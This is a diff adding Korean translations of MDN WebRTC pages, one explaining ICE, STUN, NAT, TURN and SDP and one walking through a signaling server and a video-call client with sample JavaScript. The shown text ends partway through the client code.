+<p><a href="http://en.wikipedia.org/wiki/Interactive_Connectivity_Establishment">Interactive Connectivity Establishment (ICE)</a> 는 브라우저가 peer를 통한 연결이 가능하도록 하게 해주는 프레임워크입니다. Peer A에서 Peer B까지 단순하게 연결하는 것으로는 작동하지 않는 것에 대한 이유는 많이 있습니다. 연결을 시도하는 방화벽을 통과해야하기도 하고, 단말에 퍼블릭 IP가 없다면 유일한 주소값을 할당해야할 필요도 있으며 라우터가 peer간의 직접연결을 허용하지 않을 때에는 데이터를 릴레이해야할 경우도 있습니다. ICE는 이러한 작업을 수행하기 위해 STUND과 TURN 서버 둘다 혹은 하나의 서버를 사용합니다.</p>
+
+<h2 id="STUN">STUN</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/STUN">Session Traversal Utilities for <u>NAT</u> (STU<u>N</u>)</a> (단축어 안의 단축어) 는 당신의 공개 주소(public address)를 발견하거나 peer간의 직접 연결을 막는 등의 라우터의 제한을 결정하는 프로토콜입니다.</p>
+
+<p>클라이언트는 인터넷을 통해 클라이언트의 공개주소와 라우터의 NAT 뒤에 있는 클라이언트가 접근가능한지에 대한 답변을 위한 요청을 STUN서버에 보냅니다.</p>
+
+<p><img alt="An interaction between two users of a WebRTC application involving a STUN server." src="https://mdn.mozillademos.org/files/6115/webrtc-stun.png" style="display: block; height: 378px; margin: 0px auto; width: 259px;"></p>
+
+<h2 id="NAT">NAT</h2>
+
+<p><a href="https://en.wikipedia.org/wiki/Network_address_translation">Network Address Translation (NAT)</a> 는 단말에 공개 IP주소를 할당하기 위해 사용됩니다. 라우터는 공개 IP 주소를 갖고 있고 모든 단말들은 라우터에 연결되어 있으며 비공개 IP주소(private IP Address)를 갖고 있습니다. 요청은 단말의 비공개 주소로부터 라우터의 공개 주소와 유일한 포트를 기반으로 번역될 것입니다. 이러한 경유로 각각의 단말이 유일한 공개 IP 없이 인터넷 상에서 검색 될 수 있는 방법입니다.</p>
+
+<p>어떠한 라우터들은 네트워크에 연결할수 있는 제한을 갖고 있습니다. 따라서 STUN서버에 의해 공개 IP주소를 발견한다고 해도 모두가 연결을 할수 있다는 것은 아닙니다. 이를 위해 TURN이 필요합니다.</p>
+
+
+
+<h2 id="TURN">TURN</h2>
+
+<p>몇몇의 라우터들은 Symmetric NAT이라고 불리우는 제한을 위한 NAT을 채용하고 있습니다. 이 말은 peer들이 오직 이전에 연결한 적 있는 연결들만 허용한다는 것입니다. </p>
+
+<p><a href="http://en.wikipedia.org/wiki/TURN">Traversal Using Relays around NAT (TURN)</a> 은 TURN 서버와 연결하고 모든 정보를 그 서버에 전달하는 것으로 Symmetric NAT 제한을 우회하는 것을 의미합니다. 이를 위해 TURN 서버와 연결을 한 후 모든 peer들에게 저 서버에 모든 패킷을 보내고 다시 나에게 전달해달라고 해야 합니다. 이것은 명백히 오버헤드가 발생하므로 이 방법은 다른 대안이 없을 경우만 사용하게 됩니다.</p>
+
+<p><img alt="An interaction between two users of a WebRTC application involving STUN and TURN servers." src="https://mdn.mozillademos.org/files/6117/webrtc-turn.png" style="display: block; height: 297px; margin: 0px auto; width: 295px;"></p>
+
+<h2 id="SDP">SDP</h2>
+
+<p><a href="http://en.wikipedia.org/wiki/Session_Description_Protocol">Session Description Protocol (SDP)</a> 은 해상도나 형식, 코덱, 암호화등의 멀티미디어 컨텐츠의 연결을 설명하기 위한 표준입니다. 이러한 것이 두개의 peer가 다른 한쪽이 데이터가 전송되고 있다는 것을 알게 해줍니다. 이것은 기본적으로 미디어 컨텐츠 자체가 아닌 컨텐츠에 대한 메타데이터 설명이 됩니다. </p>
+
+<p>기술적으로 보자면 SDP 는 프로토콜이 아닙니다. 그러나 데이터 포멧은 디바이스간의 미디어를 공유하기 위한 연결을 설명하기 위해 사용됩니다.</p>
+
+<p>SDP의 문서화는 다른 웹상에서도 잘되어 있으므로 이 문서에서는 간단히 소개하는 것으로 마무리 짓도록 하겠습니다.</p>
+
+<h3 id="구조">구조</h3>
+
+<p>SDP는 한줄 이상의 UTF-8 텍스트로 구성됩니다. 이 텍스트의 시작은 한글자로 구성되며 한글자 뒤에 등호기호 (<code>"="</code>)가 옵니다. 그리고 그 뒤에는 포멧에 맞게 값이나 설명이 적혀있습니다. 한글자로 시작되는 그 글자는 일반적으로 "letter-lines"를 뜻합니다. 예를들어 미디어 설명을 제공하는 것이라면 <code>"m"</code> 이라고 적어두고 이것은 m-lines을 뜻합니다.</p>
+
+<h3 id="자세히">자세히</h3>
+
+<p>SDP에 대해 더 알고 싶으시다면 아래 유용한 자료들이 있습니다.</p>
+
+<ul>
+ <li>명세: {{RFC(4566, "SDP: Session Description Protocol")}}</li>
+ <li><a href="https://www.iana.org/assignments/sip-parameters/sip-parameters.xhtml">IANA registry of SDP parameters</a></li>
+</ul>
diff --git a/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html b/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html
new file mode 100644
index 0000000000..012c96f114
--- /dev/null
+++ b/files/ko/web/api/webrtc_api/signaling_and_video_calling/index.html
@@ -0,0 +1,651 @@
+---
+title: Signaling and video calling
+slug: Web/API/WebRTC_API/Signaling_and_video_calling
+translation_of: Web/API/WebRTC_API/Signaling_and_video_calling
+---
+<p>{{WebRTCSidebar}} </p>
+
+<div class="note">
+<p>s이 글은 편집 및 검토가 필요하다. <a href="https://developer.mozilla.org/docs/MDN/Contribute/Howto/Do_an_editorial_review">도움을 줄 수 있는 방법</a>을 살펴보자. </p>
+
+<p>WebRTC는 아직까지<strong> 실험적인 기술이다.</strong><br>
+ 일부의 기술 스펙이 안정화가 되지 않았기 때문에 각 브라우져에서 사용가능한<a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling#Browser_compatibility"> 호환성 정보</a>를 확인해야한다. 또한, 기술의 문법과 패턴들은 스펙이 바뀌는 것처럼 브라우져의 버전이 높아진다면 변경될 수 있다.</p>
+</div>
+
+<h2 id="Summary">Summary  </h2>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API">WebRTC</a> 는 리얼 타임 음성, 영상, 데이터 교환을 할 수 있는 완전한 p2p 기술이다. <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API/Session_lifetime#Establishing_a_connection">다른 곳에서 논의한 것 처럼 </a>서로 다른 네트워크에 있는 2개의 디바이스들을 서로 위치시키기 위해서는, 각 디바이스들의 위치를 발견하는 방법과 미디어 포맷 협의가 필요하다. 이 프로세스를 <strong>시그널링</strong> <strong>signaling </strong>이라 부르고 각 디바이스들을 상호간에 동의된 서버(socket.io 혹은 websocket을 이용한 서버)에 연결시킨다. 이 서버는 각 디바이스들이 <strong>negotiation</strong>(협의) 메세지들을 교환할 수 있도록 한다.</p>
+
+<p>이 글에서 우리는 더 나아가 유저들간에 양방향으로 화상 통화가 되는 예제인 <a href="https://mdn-samples.mozilla.org/s/websocket-chat">WebSocket chat</a>(웹소켓 문서를 작성하기 위해 만들어졌으며, 링크는 곧 활성화 될 것이다. 아직은 온라인으로 테스트가 불가능하다.)을 작동이 되도록 만들 예정이다. 이것에 관해 <a href="https://mdn-samples.mozilla.org/s/webrtc-from-chat">샘플</a> 을 확인해 보거나 Github에서 전체 <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat">프로젝트</a>를 확인해볼 수 있다.</p>
+
+<div class="note">
+<p>깃헙에 있는 테스트 서버 코드는 앞으로 공부할 예제 코드보다 최신 버전이다. 이 글은 현재 업데이트 진행 중이며, 곧 완료될 예정이다. 업데이트가 완료된다면 이 글을 사라질 것이다.</p>
+</div>
+
+<div class="note">
+<p>앞으로 나올 예제들은 <strong>promise </strong>를 사용한다. 만약 너가 이것을 잘 모른다면 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">이 글</a>을 읽어 보길 바란다.</p>
+</div>
+
+<h2 id="The_signaling_server">The signaling server</h2>
+
+<p>두 디바이스들 사이에 WebRTC 커넥션을 만들기 위해, 인터넷 네트워크에서 그 둘을 연결 시키는 작업을 해줄 <strong>signaling server </strong>가 필요하다. 어떻게 이 서버를 만들고 실제로 시그널링 과정이 어떻게 되는지 살펴보자.</p>
+
+<p>가장 먼저, 시그널링 서버 자체가 필요하다. WebRTC는 시그널링 정보에 관한 transport 메커니즘을 제시하진 않는다. 두 피어들 사이에서 해리포터의 부엉이처럼 시그널링에 관련된 정보들을 전달해줄 수 있는 것이면 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket_API">WebSocket</a> 이든 <a href="https://developer.mozilla.org/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a> 든 상관없다.</p>
+
+<p>여기서 중요한 점은 시그널링 서버는 시그널링 데이터 내용을 몰라도 된다는 것이다. 비록 이것은 <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#">SDP</a> 이지만, 몰라도 큰 문제가 되진 않는다. 메세지의 내용들은 그저 시그널링 서버를 통해 상대편으로 가기만 하면된다. 중요한 점은 ICE subsystem이 신호 데이터를 다른 피어에게 보내도록 지시하면, 다른 피어는 이 정보를 수신하여 자체 ICE subsystem에 전달하는 방법을 알고 있다는 것이다.</p>
+
+<h3 id="Readying_the_chat_server_for_signaling">Readying the chat server for signaling</h3>
+
+<p>이 <a href="https://github.com/mdn/samples-server/tree/master/s/websocket-chat">chat server</a> 는 클라이언트와 서버 사이에 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket_API">WebSocket API</a>을 통해 JSON string으로 데이터를 전송한다. 서버는 새로운 유저를 등록하는 것, username을 세팅하는 것, 채팅 메세지를 전송하는 것 등등의 작업들을 하기 위해 다양한 메세지 타입들을 다룬다. 시그널링과 ICE negotiation 을 서버가 처리하기 위해서 코드를 작성해야한다. 모든 로그인된 유저들에게 브로드캐스팅하는 것이 아니라, 특정한 유저에게 직접 메세지를 전달해야한다. 그리고 서버가 따로 처리할 필요 없이, 수신된 원하지 않은 메세지 타입들을 처리한다. 이를 통해 여러 서버를 만들 필요없이 동일한 서버를 이용하여 시그널 메시지를 보낼 수 있다. 이 개념은 WebRTC가 아니라 WebSocket에 관한 개념이다.</p>
+
+<p>이제, WebRTC 시그널링을 지원하는 chat server를 만들기 위해 어떻게 해야하는지 보자. 앞으로 나오는 코드들은 <a href="https://github.com/mdn/samples-server/tree/master/s/webrtc-from-chat/chatserver.js">chatserver.js</a> 안에 있는 코드이다.</p>
+
+<p>우선 <code>sendToOneUser()</code>함수를 추가하자. 이름이 말하듯, stringified JSON 메세지를 특정한 유저에게 보내는 것이다.</p>
+
+<pre class="brush: js notranslate">function sendToOneUser(target, msgString) {
+ var isUnique = true;
+ var i;
+
+ for (i=0; i&lt;connectionArray.length; i++) {
+ if (connectionArray[i].username === target) {
+ connectionArray[i].sendUTF(msgString);
+ break;
+ }
+ }
+}</pre>
+
+<p>이 함수는 연결된 유저 리스트를 확인하면서 특정한 username을 가지는 유저을 찾고, 이 유저에게 메세지를 보낸다. 함수의 인자로 들어가는 메시지 <code>msgString</code>은 stringified JSON object 이다. Stringified 가 아닌 원본의 메세지 object를 받도록 해도 되지만, JSON이 더 유용하고 편하다. 이 메세지는 이미 stringified 된 상태로 함수에 전달되기 때문에, 더 이상의 메세지에 관한 처리 없이 메세지를 그대로 보내기만 하면 된다. </p>
+
+<p>원본 chat demo는 특정 유저에게 메세지를 보내는 것을 지원하지 않는다. Main WebSocket message handler를 수정해야 이것이 가능하게 되며, 구체적으로는<code>connection.on()</code>함수의 마지막 부분을 수정하면 된다.</p>
+
+<pre class="brush: js notranslate">if (sendToClients) {
+ var msgString = JSON.stringify(msg);
+ var i;
+
+ // If the message specifies a target username, only send the
+ // message to them. Otherwise, send it to every user.
+ if (msg.target &amp;&amp; msg.target !== undefined &amp;&amp; msg.target.length !== 0) {
+ sendToOneUser(msg.target, msgString);
+ } else {
+ for (i=0; i&lt;connectionArray.length; i++) {
+ connectionArray[i].sendUTF(msgString);
+ }
+ }
+}</pre>
+
+<p>이 코드는 메세지에서 <code>target</code> 특성이 정의되었는지 체크한다. 이 특성은 메세지를 전달하고 싶은 사람의 username으로 정의할 수 있다. 만약 <code>target</code>파라미터가 존재한다면, <code>sendToOneUser()</code>함수를 콜하면서 그 유저에게 메세지를 전송한다. 그렇지 않다면, 모든 유저에게 메세지를 브로드케스트를 한다.</p>
+
+<p>위에 있는 코드는 별도의 수정이 필요 없이 임의의 메세지 타입들을 보낼 수 있다. 클라이언트들은 이제 특정한 유저에게 unknown 타입의 메세지도 보낼수 있고, 시그널링 메세지를 원하는 대로 보낼 수 있다. 구체적인 내용은 다음을 살펴보자.</p>
+
+<h3 id="Designing_the_signaling_protocol">Designing the signaling protocol</h3>
+
+<p>이제 우리는 메세지를 교환하는 메커니즘을 만들었다. 이제 메세지들을 어떻게 구성할지에 대한 프로토콜이 필요하다. 이것은 여러 가지 방법으로 가능한데, 여기서 다루는 것은 그 중 하나의 시그널링 메세지 구조이다.</p>
+
+<p>우리가 제공하는 시그널링 서버는 stringified JSON object 을 가지고 클라언트간에 데이터를 주고 받는다. 즉, 이것은 시그널링 메세지들이 JSON format으로 되어있으며, 메세지의 type 등 메세지를 적절하게 처리할 수 있도록 여러 정보들이 포함되어 있다.</p>
+
+<h4 id="Exchanging_session_descriptions">Exchanging session descriptions</h4>
+
+<p>시그널링 프로세스를 시작할 때, call을 시작 하는 유저가 <em><strong>offer </strong></em>란 것을 만든다. 이 offer는 세션 정보를 SDP 포맷으로 가지고 있으며, 커넥션이 이어지기를 원하는 유저(callee)에게 전달되어야 한다. Callee 는 이 offer에 SDP description을 포함하는 <em><strong>answer </strong></em>메세지를 보내야한다. 우리가 사용할 offer 메세지들은 <code>"video-offer"</code> 이라는 타입을 사용할 것이고 answer 메세지들은 <code>"video-answer"</code> 타입의 메세지를 사용할 것이다. 이 메세지들은 아래와 같은 field를 가진다.</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>메세지의 타입이라; <code>"video-offer"</code> 또는 <code>"video-answer"</code>.</dd>
+ <dt><code>name</code></dt>
+ <dd>보내는 사람의 username 이다.</dd>
+ <dt><code>target</code></dt>
+ <dd>받는 사람의 username이다. (만약 caller가 메세지를 보낸다면, target은 callee 를 뜻한다, vice-versa.)</dd>
+ <dt><code>sdp</code></dt>
+ <dd>커넥션의 local 정보를 설명하는 SDP (Session Description Protocol) 스트링(e.g. 수신자의 관점으로 볼 때, SDP는 커넥션의 remote 정보이다.)</dd>
+</dl>
+
+<p>현 시점에서 두 피어들은 이 call에 대해 어떤 코덱들과 어떤 video parameter들이 사용될지 알게 된다. 하지만, 그들은 여전히 미디어 데이터 자체를 전송하는 방법을 모른다. 여기서 Interactive Connectivity Establishment (ICE)가 사용된다.</p>
+
+<h4 id="Exchanging_ICE_candidates">Exchanging ICE candidates</h4>
+
+<p>SDP를 서로 교환한 후에, 두 피어들은 <strong>ICE candidate</strong>(ICE 후보)들을 교환하기 시작한다. 각 ICE candidate는 발신 피어 입장에서 통신을 할 수 있는 방법을 설명한다. 각 피어는 검색되는 순서대로 candidate를 보내고 미디어가 이미 스트리밍을 시작 했더라도 모든 가능한 candidate가 전송 완료될 때까지 계속 보낸다. 두 피어가 서로 호환되는 candidate를 제안했다면, 미디어는 통신을 시작한다. 만약 나중에 더 나은 방법이 있다면(더 높은 성능을 가지는), 그 스트림은 필요에 따라 포맷을 바꿀 수도 있다.</p>
+
+<p>비록 지금은 지원하지 않지만, 이 기술은 이론상 낮은 bandwidth의 연결에 대해 다운그레이드에 사용될 수 있다.</p>
+
+<p>시그널링 서버를 통해 전달되는 ICE candidate들에 관한 메세지의 타입은 <code>"new-ice-candidate"</code> 이며, 이 메세지들은 아래 field를 가진다.</p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>메세지 타입 : <code>"new-ice-candidate"</code>.</dd>
+ <dt><code>target</code></dt>
+ <dd>현재 협상을 진행 중인 사람의 username. 시그널링 서버는 이 유저에게만 직접 메세지를 보낸다.</dd>
+ <dt><code>candidate</code></dt>
+ <dd>제안된 커넥션 방법을 설명하는 SDP candidate string.</dd>
+</dl>
+
+<p>각 ICE 메세지들은 두 개의 컴퓨터를 서로 연결하기 위한 정보들에 덧붙여 프로토콜(TCP or UDP), IP 주소, 포트 넘버, 커넥션 타입 등을 제안한다. 여기에는 NAT 혹은 다른 복잡한 네트워킹을 포함한다.</p>
+
+<div class="note">
+<p>중요. ICE negotiation 동안 너의 코드가 해야할 것은 오직 ICE layer에서 외부로 나갈 candidate들을 선택하는 것과, <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/onicecandidate"><code>onicecandidate</code></a>handler가 불렸을 때 시그널링 서버를 통해 그것들을 다른 피어에 보내는 것이다. 그리고 시그널링 서버로부터 ICE candidate 메세지를 받고 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/addIceCandidate"><code>RTCPeerConnection.addIceCandidate()</code></a>를 호출하여 너의 ICE layer에 그들을 전달한다. 그것 뿐이다. 정확히 무엇을 하는지 알기 전까진, 더 이상 깊이 생각하지 말자!</p>
+</div>
+
+<p>너의 시그널링 서버가 이제 해야할 일은 요청된 메세지를 보내는 것이다. 부가적으로 login/authentication 같은 기능들이 필요할 수도 있는데, 자세한 내용은 달라질 수 있다.</p>
+
+<h2 id="Signaling_transaction_flow">Signaling transaction flow</h2>
+
+<p>시그널링 정보는 연결할 두 피어들 사이에서 교환된다. 아주 기초적인 수준에서 어떤 메세지들이 누가 누구에게 왜 전달해야하는지 보자.</p>
+
+<p>시그널링 프로세스는 다양한 부분에서 다음과 같은 메시지 교환을 포함한다. 각 유저의 채팅 시스템의 웹 애플리케이션 인스턴스, 각 유저의 브라우저, 시그널링 서버 그리고 호스팅 웹 서버 등.</p>
+
+<p>Naomi와 Priya는 채팅 소프트웨어를 사용해 대화에 참여했고 Naomi는 둘 사이에 영상 통화를 하기로 결정한다. 다음 표는 이벤트들이 발생하는 과정이다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/12363/WebRTC%20-%20Signaling%20Diagram.svg"><img alt="Diagram of the signaling process" src="https://mdn.mozillademos.org/files/12363/WebRTC%20-%20Signaling%20Diagram.svg" style="height: 865px; width: 700px;"></a></p>
+
+<p>곧 더 자세한 설명을 볼 수 있다.</p>
+
+<h2 id="ICE_candidate_exchange_process">ICE candidate exchange process</h2>
+
+<p>각 피어들의 ICE layer에서 candidate들을 보내기 시작할 때, 다음 그림과 같은 교환이 일어난다.</p>
+
+<p><a href="https://mdn.mozillademos.org/files/12365/WebRTC%20-%20ICE%20Candidate%20Exchange.svg"><img alt="Diagram of ICE candidate exchange process" src="https://mdn.mozillademos.org/files/12365/WebRTC%20-%20ICE%20Candidate%20Exchange.svg" style="height: 590px; width: 700px;"></a></p>
+
+<p>각 피어들은 candidate 들을 전송하고, 준비가 되면 받은 candidate 들을 처리한다. Candidate들은 양 피어들이 동의할 때까지 계속 교환되며, 미디어가 송수신 되도록 만든다. "ICE exchange"은 양측이 교대로 제안을하는 것을 의미하지 않는다. 올바르게 작동할 경우, 각 피어들은 모두 소진되거나 서로 동의할 때까지 상대방에게 제안할 candidate 들을 계속 전송한다.</p>
+
+<p>만약 조건들이 바뀐다면, 예를들어 네트워크 커넥션이 악화되면, 하나 혹은 양 피어들은 낮은 bandwidth의 미디어 해상도로 바꾸거나 다른 코덱을 사용하자고 제안할 것이다. 다음 candidate 교환에서 양 피어 모두 새로운 포맷에 동의한다면, 다른 미디어 포맷 혹은 다른 코덱으로 바뀔 수도 있다.</p>
+
+<p>부가적으로 만약 ICE layer 내부의 프로세스를 더 자세히 이해하고 싶다면 <a href="http://tools.ietf.org/html/5245">RFC 5245: Interactive Connectivity Establishment</a>,<a href="https://tools.ietf.org/html/rfc5245#section-2.6">section 2.6 ("Concluding ICE")</a> 를 참조해라. ICE layer가 준비 되자마자 candiate들이 교환되고 미디어들은 통신되기 시작한다는 것을 기억해라. 이 모든 것은 뒤에서 알아서 돌아간다. 우리의 역할은 그저 시그널링 서버를 통해 candidate들을 서로에게 보내는 것이다.</p>
+
+<h2 id="The_client_application">The client application</h2>
+
+<p>지금부터 위에서 설명한 개념들을 샘플 코드를 통해서 자세히 배워보자.</p>
+
+<p>어떤 시그널링 프로세스든지 핵심은 메세지 핸들링에 있다. Websocket을 시그널링에 꼭 사용할 필요는 없지만, 일반적인 솔루션으로 쓰인다. 다른 솔루션도 충분히 빠르고 같은 결과를 볼 수 있다.</p>
+
+<h3 id="Updating_the_HTML">Updating the HTML</h3>
+
+<p>클라이언트는 비디오를 표시할 공간이 필요하다. 2개의 video와 전화를 걸 button 을 정의한 HTML 코드이다.</p>
+
+<pre class="brush: html notranslate"> &lt;div class="flexChild" id="camera-container"&gt;
+ &lt;div class="camera-box"&gt;
+ &lt;video id="received_video" autoplay&gt;&lt;/video&gt;
+ &lt;video id="local_video" autoplay muted&gt;&lt;/video&gt;
+ &lt;button id="hangup-button" onclick="hangUpCall();" disabled&gt;
+ Hang Up
+ &lt;/button&gt;
+ &lt;/div&gt;
+ &lt;/div&gt;</pre>
+
+<p>위에 있는 page structure은 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/div"><code>&lt;div&gt;</code></a>태그를 이용하고 CSS 사용을 허용함으로써 페이지 레이아웃 전체를 구성한다. 여기서는 레이아웃에 관한 자세한 내용은 스킵하지만, 위의 코드가 어떻게 돌아가는지 확인해보자. <a href="https://www.gitbook.com/book/gustnxodjs/webrtc-kor/edit#">take a look at the CSS</a> on Github. 두개의 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video"><code>&lt;video&gt;</code></a> 중 하나는 너의 self video이고 다른 하나는 상대방의 video를 위한 요소이다.</p>
+
+<p><code>id</code>가 "<code>received_video</code>" 인 <code>&lt;video&gt;</code>element는 연결된 상대방으로부터 수신되는 비디오를 보여주는 곳이다. <code>autoplay</code>attribute는 비디오가 도달하기 시작하면 즉시 재생시키는 역할을 한다. 이것은 따로 재생에 관련된 코드를 처리할 필요를 없애준다. <code>id</code>가 "<code>local_video</code>" 인 <code>&lt;video&gt;</code>element에는 너의 카메라의 영상이 나오게된다. <code>muted</code> attribute는 너의 로컬 오디오를 음소거한다.</p>
+
+<p>마지막으로, 통화를 끊을 수 있는 <code>id</code>가 "<code>hangup-button</code>"인 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/button"><code>&lt;button&gt;</code></a>은 비활성화 된 상태(아무 전화도 연결되지 않은 default 상태)로 구성된다. 그리고 이 버튼을 클릭시에 <code>hangUpCall()</code>함수가 실행 된다. 이 함수의 역할은 현재 연결된 call을 끊고 다른 피어에게 연결을 끊으라는 메세지를 전달한다.</p>
+
+<h3 id="The_JavaScript_code">The JavaScript code</h3>
+
+<p>어떻게 돌아가는지 알기 쉽게 하기 위해 각 기능별로 코드를 나누었다. 이 코드의 메인 부분은 <code>connect()</code>함수 안에 있다. 이 함수 안에서 6503 포트로 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket"><code>WebSocket</code></a>server에 연결하며, JSON object format의 메세지를 받기 위한 handler를 설정한다. <del>이 코드는 일반적으로 이전처럼 문자 채팅 메세지를 처리한다.</del></p>
+
+<h4 id="Sending_messages_to_the_signaling_server">Sending messages to the signaling server</h4>
+
+<p>코드 전반에 걸쳐서 시그널링 서버에 메세지를 보내기 위해 <code>sendToServer()</code>함수를 호출한다. 이 함수는 WebSocket 커넥션을 이용하여 작동한다.</p>
+
+<pre class="brush: js notranslate">function sendToServer(msg) {
+ var msgJSON = JSON.stringify(msg);
+
+ connection.send(msgJSON);
+}</pre>
+
+<p>전달된 메세지 object는 <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/stringify"><code>JSON.stringify()</code></a>함수에 의해 JSON string으로 바뀐다. 그 후, WebSocket 커넥션의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/WebSocket/send"><code>send()</code></a>함수를 통해 서버로 전달된다.</p>
+
+<h4 id="UI_to_start_a_call">UI to start a call</h4>
+
+<p>"userlist"에 관한 코드는 <code>handleUserlistMsg()</code>함수에 있다. 왼쪽 채팅 패널에 보여지는 유저 리스트에 있는 각 연결된 유저 마다 handler 를 걸어준다. 이 함수는 (온라인 상태인 유저들의 username을 배열로 저장하고 있는) <code>users</code>property를 가지고 있는 메세지 object를 받는다. 이해하기 쉽도록 여러 섹션들에서 이 코드를 살펴 보겠다.</p>
+
+<pre class="brush: js notranslate">function handleUserlistMsg(msg) {
+ var i;
+
+ var listElem = document.getElementById("userlistbox");
+
+ while (listElem.firstChild) {
+ listElem.removeChild(listElem.firstChild);
+ }
+
+ // …</pre>
+
+<p><code>listElem</code>변수를 통해 username들의 리스트인 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/ul"><code>&lt;ul&gt;</code></a>을 참조한다. 그런 다음에 각 child element를 하나씩 제거하면서 목록을 비운다 .</p>
+
+<div class="note">
+<p>명백히, 바뀔 때마다 전체 리스트를 새로 만드는 것보다, 개개인을 추가 및 제거 후 업데이트하는 것이 더 효율적이다. 그러나, 예제이므로 단순하게 하겠다.</p>
+</div>
+
+<p>그 후, 새로운 user 리스트를 만든다.</p>
+
+<pre class="brush: js notranslate"> // …
+
+ for (i=0; i &lt; msg.users.length; i++) {
+ var item = document.createElement("li");
+ item.appendChild(document.createTextNode(msg.users[i]));
+ item.addEventListener("click", invite, false);
+
+ listElem.appendChild(item);
+ }
+}
+</pre>
+
+<p>다음으로 (채팅 서버에) 현재 연결된 각 유저들 각각을 나타내는 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/li"><code>&lt;li&gt;</code></a>element들을 DOM에 추가한다. 그런 다음에, username이 클릭 되었을 때 <code>invite()</code>함수를 실행시키는 listener을 추가한다. 이 함수 이것은 다른 유저에게 call을 하는 process를 시작한다.</p>
+
+<h4 id="Starting_a_call">Starting a call</h4>
+
+<p>통화를 하고 싶은 유저의 username을 클릭을 하면, <a href="https://developer.mozilla.org/en-US/docs/Web/Events/click"><code>click</code></a> event의 handler인<code>invite()</code>함수가 실행된다.</p>
+
+<pre class="brush: js notranslate">var mediaConstraints = {
+ audio: true, // We want an audio track
+ video: true // ...and we want a video track
+};
+
+function invite(evt) {
+ if (myPeerConnection) {
+ alert("You can't start a call because you already have one open!");
+ } else {
+ var clickedUsername = evt.target.textContent;
+
+ if (clickedUsername === myUsername) {
+ alert("I'm afraid I can't let you talk to yourself. That would be weird.");
+ return;
+ }
+
+ targetUsername = clickedUsername;
+
+ createPeerConnection();
+
+ navigator.mediaDevices.getUserMedia(mediaConstraints)
+ .then(function(localStream) {
+ document.getElementById("local_video").srcObject = localStream;
+ myPeerConnection.addStream(localStream);
+ })
+ .catch(handleGetUserMediaError);
+ }
+}</pre>
+
+<p>가장 먼저 해야할 일은 빠르게 여러 상태들을 점검하는 것이다. 유저가 이미 call을 열었는지, 혹은 유저가 자신에게 call을 신청했는지 등, 이 케이스들에는 새로운 call을 시도할 이유가 없다. 따라서 왜 call을 하지 못하는지 <a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/alert"><code>alert()</code></a>를 통해 설명한다.</p>
+
+<p>그 다음에 call을 하려는 유저의 이름을 <code>targetUsername</code>변수 안에 넣고 <code>createPeerConnection()</code>함수를 실행시킨다. 이 함수는 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a> 의 기본적인 구성과 기능을 수행한다.</p>
+
+<p><code>RTCPeerConnection</code> 이 생성되면, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Navigator/mediaDevices/getUserMedia"><code>Navigator.mediaDevices.getUserMedia</code></a>함수를 통해 유저의 카메라와 마이크에 권한을 요청한다. 카메라와 마이크에서 나오는 로컬 스트림을 로컬 비디오 preview의 <a href="https://developer.mozilla.org/en-US/docs/Web/API/MediaElement/srcObject"><code>srcObject</code></a>property에 설정한다. 그리고 <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video"><code>&lt;video&gt;</code></a>element가 자동으로 들어오는 비디오를 재생하도록 구성되었기 때문에, stream은 로컬 preview box에서 재생을 시작한다.</p>
+
+<p>그 다음에 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection"><code>RTCPeerConnection</code></a>에 stream을 추가하기 위해 <a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCPeerConnection/addStream"><code>myPeerConnection.addStream()</code></a>함수를 실행한다. WebRTC 커녁션이 완전히 준비되지 않았더라도 WebRTC 커넥션에 stream을 보내기 시작한다.</p>
+
+<p>만약 local media stream을 가져오는 동안 에러가 발생한다면, <code>catch</code> clause가 <code>handleGetUserMediaError()</code>함수를 불러 필요에 따라 유저에게 적절한 에러 메세지를 보여줄 것이다.</p>
+
+<h4 id="Handling_getUserMedia_errors">Handling getUserMedia() errors</h4>
+
+<p><code>getUserMedia()</code>에 의해 리턴된 <code>promise</code>가 실패로 끝나면, <code>handleGetUserMediaError()</code>함수가 실행된다.</p>
+
+<pre class="brush: js notranslate">function handleGetUserMediaError(e) {
+ switch(e.name) {
+ case "NotFoundError":
+ alert("Unable to open your call because no camera and/or microphone" +
+ "were found.");
+ break;
+ case "SecurityError":
+ case "PermissionDeniedError":
+ // Do nothing; this is the same as the user canceling the call.
+ break;
+ default:
+ alert("Error opening your camera and/or microphone: " + e.message);
+ break;
+ }
+
+ closeVideoCall();
+}</pre>
+
